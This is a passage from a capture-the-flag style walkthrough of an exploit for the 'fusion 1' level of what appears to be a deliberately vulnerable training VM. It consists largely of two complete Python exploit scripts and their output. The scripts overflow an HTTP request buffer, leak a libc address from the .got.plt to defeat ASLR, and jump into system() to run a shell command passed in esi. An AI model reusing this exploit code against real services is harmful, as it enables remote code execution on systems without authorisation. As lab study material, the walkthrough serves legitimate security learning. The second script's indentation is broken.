0x1:     <Address 0x1 out of bounds>
(gdb) x/s $ebx                                                                                                                   
0xb78a4ff4:      "|}\027"
(gdb) x/s $ecx                                                                                                                   
0xb772c8d0:      "\320\310r\267h\315r\267\320\310r\267"
(gdb) x/s $edx                                                                                                                   
0xbf8ca628:      ""
(gdb) x/s $esi
0xbf8ca6dd:      " touch /tmp/a; ..."
(gdb) x/s $edi                                                                                                                   
0x8049ed1:       ""

Remember how I used distinguishable patterns (Like a long list of ‘a’s ) now its helps us immediately “see” what happens(0x61616161 == “aaaa”). Cool, we control ebp and the value esi is pointing into. Now lets see what we can do with it.

lets see what happens right after fix_path

We can see that printf is being called with the address of the parameter that is represented by “%s” being saved on  ebp. If we will change ebp so that it will point into an address we want to read, we will probably get the content of that address as the value of the %s in “trying to access %s”

Let’s assume I could read wherever I want in the address space of the program, what would I read to understand the ASLR offsets? That’s right, we would read the .got.plt.

The .got.plt is a table of every imported function (and variable) in a binary. Think of the import table if you are more of a windows guy. When the loader loads the process to memory, it writes the addresses of all of the imported functions into the import table. This way the compiled binary can access the imported functions without knowing where the imported dlls (or so files) are in memory.

The index for the table is the constant for the binary, and the value in that index is set in runtime to point to the every function.

We will read the address of a function in libc, and then find all of the functions we need relative to it.

(gdb) x/wx 0x0804b3cc
0x804b3cc <read@got.plt>:       0xb77ee240

We write the code to do it, but nothing happens…

After some debugging I understand that we also overflow the first byte of the return address.

The reason it happens is that the string we are copying is null terminated. To solve it, i will also copy the original return address over itself.

#! /usr/bin/env python 
import socket 
import struct 
 
PORT = 20001 
HOST = "VM" 
 
def basic_overflow_commands(ebp, payload): 
  file_path = "/" 
  pattern = "GET %s%s%s HTTP/1.1 " 
  padding_length = 135 
  padding = "a" * padding_length + struct.pack("I", ebp) 
  BASH_LINE = "touch /tmp/a; " 
  return [pattern % (file_path, padding, payload) + BASH_LINE] 
 
def get_address_of_libc(): 
  address_to_read = 0x8048a32 
  fix_path_return_address = struct.pack("I", 0x8049959) 
  commands = basic_overflow_commands(address_to_read + 0xc, fix_path_return_address)
  return commands 
 
def main(): 
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
  s.connect((HOST, PORT)) 
  commands = get_address_of_libc() 
  for c in commands: 
    print "Sending:\"%s\"" % (c, ) 
    s.send(c, len(c)) 
    print "Reciving:\"%s\"" % (s.recv(1000), ) 
  print "Reciving:\"%s\"" % (s.recv(1000), ) 
 
if __name__ == "__main__": 
  main() 

We run it and get:

Reciving:"trying to access `�F@+z� `t�v���`��x�w���|��� ��

                                                          ����|���

See this weird blob of chars in the output? this is what happens when you try to print unprintable chars, we need to encode them as hex in order to be able to read this binary buffer. After some more playing with the script, we have a script that returns the address of libc. 

The function system is in constant offset from the load address of libc. (Constant per version of libc. but we assume that all the binaries on the server remains the same, or else it would be impossible to do anything). Now we have the address of system. Lets figure out how we can pass parameters to it.

Passing a parameter

I opened libc in ida and looked for the function system. Here is what I saw:

The first opcode is saving of stack space for the local variable of the function.

Second opcode is saving the current value of esi

Third opcode copies the parameter to the function into esi. If we will “enter” the function in the 4th opcode, we can pass paramter on esi – which is the only register we control. What a lucy break!

Everything that has changed from fusion 0’s exploit is in red. This time because the address of our parameter is in ESI, we don’t pass it on the stack. We do have to “make room” for 4 parameters that the function defines (instead of the opcode sub esp, 0x10) that we don’t run.

I quickly finish coding it, and try it.

 
import socket 
import struct 
 
PORT = 20001 
HOST = "VM" 
 
def basic_overflow_commands(ebp, payload): 
 file_path = "/" 
 pattern = "GET %s%s%s HTTP/1.1 " 
 padding_length = 135 
 padding = "a" * padding_length + struct.pack("I", ebp) 
 BASH_LINE = "touch /tmp/a; " 
 return [pattern % (file_path, padding, payload) + BASH_LINE] 
 
def get_address_of_libc(): 
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
 s.connect((HOST, PORT)) 
 address_to_read = 0x8048a32 
 fix_path_return_address = struct.pack("I", 0x8049959) 
 commands = basic_overflow_commands(address_to_read + 0xc, fix_path_return_address)
 for c in commands: 
 print "Sending:\"%s\"" % (c, ) 
 s.send(c, len(c)) 
 data = s.recv(1000) 
 address = data.split(" ")[3] 
 address = address[:4] 
 print address 
 address = struct.unpack("I", address)[0] 
 # This is the offset of open inside the version of libc that we are using. 
 address -= 0xc0b60 
 return address 
 
def exploit(address_of_libc): 
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
 s.connect((HOST, PORT)) 
 
 # This is the 4th opcode in system, as explained in the blog. 
 address_of_system = struct.pack("I", 0x3cb2b + address_of_libc) 
 address_of_exit = struct.pack("I", 0x329e0 + address_of_libc) 
 payload = address_of_system + "b"*0x10 + address_of_exit 
 commands = basic_overflow_commands(0x13371337, payload) 
 for c in commands: 
 print "Sending:\"%s\"" % (c, ) 
 s.send(c, len(c)) 
 print "Reciving:\"%s\"" % (s.recv(1000), ) 
 print "Reciving:\"%s\"" % (s.recv(1000), ) 
 
 
def main(): 
 address_of_libc = get_address_of_libc() 
 print "libc is at %x" %(address_of_libc, ) 
 exploit(address_of_libc) 
 
if __name__ == "__main__": 
 main() 
$ python fusion1.py 
Sending:"GET /aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaa>Y HTTP/1.1 touch /tmp/a; "
`�
libc is at b772d000
Sending:"GET /aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaa77+�v�bbbbbbbbbbbbbbbbu� HTTP/1.1 touch /tmp/a; "
Reciving:"touch: "
Reciving:"cannot touch `/tmp/a'"

Sure enough after deleting the file /tmp/a that was created by a different use on the machine, I run the script again and this time it worked!

If you have any questions or feedback I would love to hear from you in the comments below 🙂